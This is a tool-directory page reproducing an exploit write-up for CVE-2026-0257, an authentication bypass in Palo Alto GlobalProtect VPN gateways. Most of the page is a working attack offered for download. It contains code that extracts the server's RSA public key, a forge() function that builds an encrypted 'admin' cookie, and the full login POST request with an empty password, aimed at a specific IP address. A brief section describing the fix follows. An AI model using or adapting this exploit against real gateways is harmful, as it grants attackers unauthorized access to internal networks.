Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-0257 — Palo Alto Networks PAN-OS contains an authentication bypass caused by flaws in the GlobalProtect portal and gateway, letting attackers establish unauthorized VPN connections, exploit requires network access to the portal or gateway. | Kitploit
Tools/GitHubGitHub/tushargurav28/cve-2026-0257
Vulnerability AnalysisExploitationWeb Application ExploitationNetwork SecurityCryptographyPenetration TestingAuthenticationRed Teaming
GitHubtushargurav28/cve-2026-0257

CVE-2026-0257

Palo Alto Networks PAN-OS contains an authentication bypass caused by flaws in the GlobalProtect portal and gateway, letting attackers establish unauthorized VPN connections, exploit requires network access to the portal or gateway.

333 months agoNot yet reviewed
View Repository

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-0257: GlobalProtect Authentication Bypass

Overview

This exploit achieves unauthenticated VPN access to a Palo Alto GlobalProtect gateway/portal by forging an authentication cookie using only the server's publicly available TLS certificate.


The Core Vulnerability (Why It Works)

GlobalProtect uses a pre-authentication cookie (portal-userauthcookie) to allow clients to authenticate. Here's the fatal flaw:

root@kitploit:~
Normal Flow:
  1. Client authenticates (username + password)
  2. Server generates a cookie → encrypts it with server's RSA PUBLIC key
  3. Client stores the encrypted cookie
  4. On reconnect, client sends the cookie → server decrypts with PRIVATE key → trusts it

The Bug:
  The server ONLY checks if the cookie decrypts successfully with its private key.
  It does NOT verify WHO encrypted it or if the plaintext content is legitimate.

Since the RSA public key is embedded in the server's TLS certificate (publicly accessible to anyone who connects), any attacker can:

  1. Grab the public key from the TLS cert
  2. Forge a cookie with any username
  3. Encrypt it with the public key
  4. Send it to the server → server decrypts it → accepts it as valid

This is a textbook broken authentication flaw — using encryption where a digital signature or HMAC was needed.


The Exploit Chain (5 Steps)

root@kitploit:~
flowchart TD
    A["Step 1: Raw TCP Connect"] --> B["Step 2: Send Crafted TLS ClientHello"]
    B --> C["Step 3: Parse ServerHello → Extract DER Certificates"]
    C --> D["Step 4: Walk ASN.1 to Extract RSA Public Key"]
    D --> E["Step 5: Forge PKCS#1 v1.5 Encrypted Cookie"]
    E --> F["Step 6: POST to /ssl-vpn/login.esp"]
    F --> G{"Server Decrypts Cookie"}
    G -->|"Valid plaintext"| H[" Auth Bypass — VPN Access Granted"]
    G -->|"Invalid"| I[" Rejected"]

Step 1: Build a Raw TLS ClientHello

Why raw? We need the server's certificate in DER (raw binary) format. Python's ssl module completes the full TLS handshake internally and doesn't expose the raw cert bytes the same way. By doing a raw TCP connection and sending a hand-crafted ClientHello, we can intercept the server's response at the byte level.

Wire Format

A TLS record looks like this:

root@kitploit:~
┌──────────────────────────────────────────────────┐
│ TLS Record Header (5 bytes)                      │
│ ┌──────┬──────────┬────────────┐                 │
│ │ Type │ Version  │   Length   │                 │
│ │ 0x16 │ 0x03 01  │  2 bytes   │                 │
│ │(Hshk)│(TLS 1.0) │            │                 │
│ └──────┴──────────┴────────────┘                 │
│                                                  │
│ Handshake Message                                │
│ ┌──────┬────────────┬─────────────────────────┐  │
│ │ Type │   Length   │      Body               │  │
│ │ 0x01 │  3 bytes   │  (ClientHello)          │  │
│ │(CHlo)│            │                         │  │
│ └──────┴────────────┴─────────────────────────┘  │
└──────────────────────────────────────────────────┘

Code: build_hello()

The ClientHello body contains:

FieldValuePurpose
Version0x03 0x03 (TLS 1.2)Tell server we speak TLS 1.2
Random4-byte timestamp + 28 random bytesNonce for the handshake
Session ID0x00 (empty)No session resumption
Cipher Suites9 suites including TLS_RSA_WITH_AES_128_CBC_SHAKey: we include RSA-only ciphers to force the server to use its RSA cert
Compression0x00 (none)Required

Extensions included:

ExtensionIDPurpose
SNI (Server Name Indication)0x0000Tell the server which hostname we're connecting to
Signature Algorithms0x000DAdvertise which sig algorithms we support
Supported Groups0x000AEC curves we support (P-256, P-384, P-521)
EC Point Formats0x000BUncompressed EC points

[!NOTE] The cipher suites intentionally include RSA key exchange ciphers (0x002F = TLS_RSA_WITH_AES_128_CBC_SHA). This nudges the server to respond with its RSA certificate rather than an ECDSA one — which is critical because the exploit only works with RSA.


Step 2: Receive & Parse the Server's Response

After sending the ClientHello, the server sends back multiple TLS records:

root@kitploit:~
Server Response:
  ┌─────────────────┐
  │ ServerHello      │  (handshake type 2)
  ├─────────────────┤
  │ Certificate      │  (handshake type 11) ← WE WANT THIS
  ├─────────────────┤
  │ ServerKeyExchange│  (handshake type 12, optional)
  ├─────────────────┤
  │ ServerHelloDone  │  (handshake type 14) ← STOP SIGNAL
  └─────────────────┘

Code: parse_certs()

Phase 1 — Strip TLS record headers:

Each TLS record has a 5-byte header: [type(1)] [version(2)] [length(2)]. The code scans through all records, and for any with type == 22 (Handshake), it concatenates their payloads:

root@kitploit:~
while i + 5 <= len(data):
    t = data[i]                              # content type
    rl = (data[i + 3] << 8) | data[i + 4]   # record length
    if t == 22:                              # Handshake
        hs.extend(data[i + 5: i + 5 + rl])  # grab payload
    i += 5 + rl                              # next record

Phase 2 — Find the Certificate message (type 11):

Inside the handshake stream, each message has a 4-byte header: [type(1)] [length(3)]. We scan for type == 11:

root@kitploit:~
while j + 4 <= len(hs):
    ht = hs[j]                                           # handshake type
    hl = (hs[j+1] << 16) | (hs[j+2] << 8) | hs[j+3]    # 3-byte length
    if ht == 11:  # Certificate!
        # Parse the certificate list inside

Phase 3 — Extract individual DER certificates:

The Certificate message contains a list of certificates, each prefixed by a 3-byte length:

root@kitploit:~
Certificate Message Body:
┌───────────────────────────────────┐
│ Total Certs Length (3 bytes)      │
├───────────────────────────────────┤
│ Cert 1 Length (3 bytes)           │
│ Cert 1 DER data (variable)       │
├───────────────────────────────────┤
│ Cert 2 Length (3 bytes)           │
│ Cert 2 DER data (variable)       │
├───────────────────────────────────┤
│ ...                               │
└───────────────────────────────────┘

In our test run, we got 3 certificates (leaf cert, intermediate CA, root CA).

Code: has_done()

This function scans for ServerHelloDone (handshake type 14), which tells us the server is done sending and we can stop reading.


Step 3: Parse the X.509 Certificate (ASN.1/DER)

X.509 certificates are encoded in DER (Distinguished Encoding Rules), which is a binary format based on ASN.1 (Abstract Syntax Notation One).

ASN.1 TLV (Tag-Length-Value) Format

Every element in DER is:

root@kitploit:~
┌─────┬────────┬───────────────────┐
│ Tag │ Length │ Value (payload)   │
│ 1B  │ 1-5B  │ variable          │
└─────┴────────┴───────────────────┘

Length encoding:

  • If byte < 0x80: length is that byte directly (short form)
  • If byte ≥ 0x80: low 7 bits = number of following bytes that encode the length (long form)
root@kitploit:~
# Example: length byte = 0x82 → 2 more bytes follow
# Next 2 bytes: 0x06 0x4F → length = 0x064F = 1615 bytes

Code: rd_tl()

root@kitploit:~
def rd_tl(d, p):
    tag = d[p]; p += 1
    length = d[p]; p += 1
    if length & 0x80:                    # long form?
        nb = length & 0x7F              # how many bytes follow
        length = 0
        for _ in range(nb):
            length = (length << 8) | d[p]
            p += 1
    return {"tag": tag, "len": length, "pos": p}  # pos = start of value

X.509 Certificate Structure

root@kitploit:~
Certificate ::= SEQUENCE {              ← tag 0x30
  tbsCertificate SEQUENCE {              ← tag 0x30
    version      [0] EXPLICIT            ← tag 0xA0 (optional)
    serialNumber INTEGER                 ← tag 0x02
    signature    SEQUENCE (AlgorithmID)  ← tag 0x30
    issuer       SEQUENCE                ← tag 0x30
    validity     SEQUENCE                ← tag 0x30
    subject      SEQUENCE                ← tag 0x30
    subjectPublicKeyInfo SEQUENCE {      ← tag 0x30  ★ WE WANT THIS ★
      algorithm SEQUENCE {               ← tag 0x30
        algorithm OID                    ← tag 0x06
        parameters (optional)
      }
      subjectPublicKey BIT STRING {      ← tag 0x03
        RSAPublicKey SEQUENCE {          ← tag 0x30
          modulus    INTEGER             ← tag 0x02  ★ n ★
          exponent   INTEGER             ← tag 0x02  ★ e ★
        }
      }
    }
    ...
  }
  ...
}

Code: get_rsa_key()

The function walks the DER tree by reading tag+length and skipping over fields we don't need:

root@kitploit:~
# Enter outer SEQUENCE (Certificate)
r = rd_tl(der, 0)            # → SEQUENCE
# Enter tbsCertificate SEQUENCE
r = rd_tl(der, p)            # → SEQUENCE
# Check for optional version tag
r = rd_tl(der, p)
if r["tag"] == 0xA0:         # version field present → skip it
    p = r["pos"] + r["len"]
    r = rd_tl(der, p)

# Skip: serial → sigAlg → issuer → validity → subject
# (just read each TLV and jump past it)

# NOW we're at subjectPublicKeyInfo
# Read the AlgorithmIdentifier → check if OID = RSA
oid = der[r["pos"]: r["pos"] + r["len"]]
rsa_oid = [0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x01, 0x01]
#          ↑ This is 1.2.840.113549.1.1.1 = rsaEncryption
if oid != rsa_oid:
    return None  # Not RSA (probably ECDSA)

# Read the BIT STRING → skip 1 byte (unused bits indicator)
# Read the inner SEQUENCE → extract modulus (n) and exponent (e)

Important detail — leading zero byte in modulus:

root@kitploit:~
if der[ms] == 0 and ml > 1:
    ms += 1    # strip leading 0x00
    ml -= 1

DER encodes integers as signed. If the high bit of the modulus is 1, a 0x00 byte is prepended to keep it positive. We strip it because we need the raw unsigned value.

For our target: modulus = 2048 bits (256 bytes), exponent = 65537 (0x10001)


Step 4: Forge the Authentication Cookie (PKCS#1 v1.5)

This is the heart of the exploit.

What the Cookie Contains

The plaintext cookie format is:

root@kitploit:~
admin;;Windows;;1748928001;0.0.0.0
  │        │        │        │
  │        │        │        └── Client IP
  │        │        └── Unix timestamp
  │        └── OS identifier
  └── Username (we choose "admin")

PKCS#1 v1.5 Encryption Padding (Type 2)

Before RSA encryption, the plaintext must be padded to the key size (256 bytes for 2048-bit RSA):

root@kitploit:~
┌──────┬──────┬──────────────────────────┬──────┬─────────────────────┐
│ 0x00 │ 0x02 │ Random non-zero padding  │ 0x00 │ Plaintext message   │
│      │      │ (≥ 8 bytes)              │      │                     │
└──────┴──────┴──────────────────────────┴──────┴─────────────────────┘
  1B     1B      padLen bytes              1B      message bytes

Total = 256 bytes (= key size)

Code: forge()

root@kitploit:~
def forge(n, e, kl, username):
    ts = str(int(time.time()))
    pt = str2b(username + ";;Windows;;" + ts + ";0.0.0.0")

    pad_len = kl - len(pt) - 3    # 3 = 0x00 + 0x02 + 0x00 separator
    if pad_len < 8:                # PKCS#1 requires ≥ 8 pad bytes
        return ""

    em = bytearray([0x00, 0x02])   # Type 2 padding header
    for _ in range(pad_len):
        em.append(random.randint(1, 255))  # non-zero random bytes!
    em.append(0x00)                # separator
    cat(em, pt)                    # append plaintext

    # RSA encryption: ciphertext = em^e mod n
    return b64_encode(bi2bytes(modpow(bytes2bi(em), e, n), kl))

The RSA math:

root@kitploit:~
ciphertext = plaintext^e mod n

Where:
  plaintext = the padded message as a big integer (256 bytes → ~2048 bits)
  e = 65537 (public exponent)
  n = the 2048-bit modulus from the certificate

[!IMPORTANT] This works because RSA encryption uses the public key (n, e), which anyone can obtain from the TLS certificate. The server will decrypt it with its private key (n, d) and get back the plaintext — admin;;Windows;;timestamp;0.0.0.0.

The server then trusts this plaintext blindly — it never verifies that the cookie was legitimately issued by itself.


Step 5: Send the Forged Cookie to the Login Endpoint

Code: test_cookie()

The forged cookie is sent as a standard HTTPS POST to the GlobalProtect login endpoint:

root@kitploit:~
POST /ssl-vpn/login.esp HTTP/1.1
Host: 1.255.199.2
Content-Type: application/x-www-form-urlencoded
User-Agent: GlobalProtect/6.0.0
Content-Length: ...
Connection: close

prot=https
&server=1.255.199.2
&user=admin
&passwd=                          ← empty! no password needed
&context=gateway                  ← or "portal"
&clientos=Windows
&clientgpversion=6.0.0
&portal-userauthcookie=<BASE64_FORGED_COOKIE>
&portal-prelogonuserauthcookie=

[!NOTE] The passwd field is empty. The server doesn't check the password at all — it relies entirely on the portal-userauthcookie for authentication.

The exploit tests two endpoints:

  1. Gateway (context=gateway): Direct VPN tunnel access
  2. Portal (context=portal): Portal configuration access

Success Detection

root@kitploit:~
def is_gateway_success(resp, user):
    # Check for HTTP 200
    # Check for <status>Success</status> in XML body
    # OR <argument> tag containing the username

Step 6: What Happens on the Server Side

root@kitploit:~
sequenceDiagram
    participant A as Attacker
    participant GP as GlobalProtect Server

    A->>GP: TCP Connect (port 443)
    A->>GP: Raw TLS ClientHello (hand-crafted)
    GP->>A: ServerHello + Certificate (contains RSA public key)
    GP->>A: ServerHelloDone
    Note over A: Extracts RSA public key (n, e) from cert
    Note over A: Forges cookie: RSA_encrypt("admin;;Windows;;ts;0.0.0.0", pubkey)
    A->>GP: POST /ssl-vpn/login.esp (over TLS)
    Note over GP: Receives portal-userauthcookie
    Note over GP: Decrypts with RSA private key
    Note over GP: Gets "admin;;Windows;;ts;0.0.0.0"
    Note over GP: ⚠️ Trusts it blindly — no signature check!
    GP->>A: HTTP 200 OK + <status>Success</status>
    Note over A: 🎉 Full VPN access as "admin"

Why This Is a Devastating Bug

AspectImpact
No credentials neededThe public key is literally public — anyone who connects gets it
No brute forceSingle request per attempt, always succeeds on vulnerable servers
Pre-authenticationExploitable before any login — no existing session needed
User impersonationAttacker chooses any username (admin, CEO, etc.)
Full VPN accessOnce authenticated, attacker is on the internal network
No logging of password failureSince the auth is via cookie, failed password alerts don't fire

The Fix (What Palo Alto Should Do)

The fundamental problem is using encryption for authentication. The correct approaches:

  1. Digital Signatures: Server should sign the cookie with its private key, not decrypt an encrypted one. Then verify the signature on re-authentication.

  2. HMAC: Use a server-side secret key to HMAC the cookie payload. Only the server knows the secret, so cookies can't be forged.

  3. Token Binding: Bind the cookie to the original authentication session so it can't be replayed from a different context.

root@kitploit:~
Broken:   cookie = RSA_encrypt(userdata, public_key)   ← anyone can do this!
Fixed:    cookie = HMAC(server_secret, userdata)        ← only server can do this

Summary: Complete Data Flow

root@kitploit:~
1. TCP connect to target:443
2. Send hand-crafted ClientHello (raw bytes over TCP, NOT TLS)
3. Receive ServerHello + Certificate + ServerHelloDone
4. Parse TLS records → extract handshake messages
5. Find Certificate message (type 11) → extract DER-encoded certs
6. Walk ASN.1/DER structure of leaf cert:
   SEQUENCE → SEQUENCE → [version] → serial → sigAlg → issuer → validity → subject
   → subjectPublicKeyInfo → algorithmIdentifier (check OID = RSA)
   → BIT STRING → SEQUENCE → modulus (n) + exponent (e)
7. Build plaintext: "admin;;Windows;;1748928001;0.0.0.0"
8. PKCS#1 v1.5 pad: 0x00 0x02 [random≥8] 0x00 [plaintext]
9. RSA encrypt: ciphertext = padded^e mod n
10. Base64 encode → URL encode
11. POST to /ssl-vpn/login.esp with forged cookie (over proper TLS)
12. Server decrypts → trusts blindly → grants VPN access
Download Tool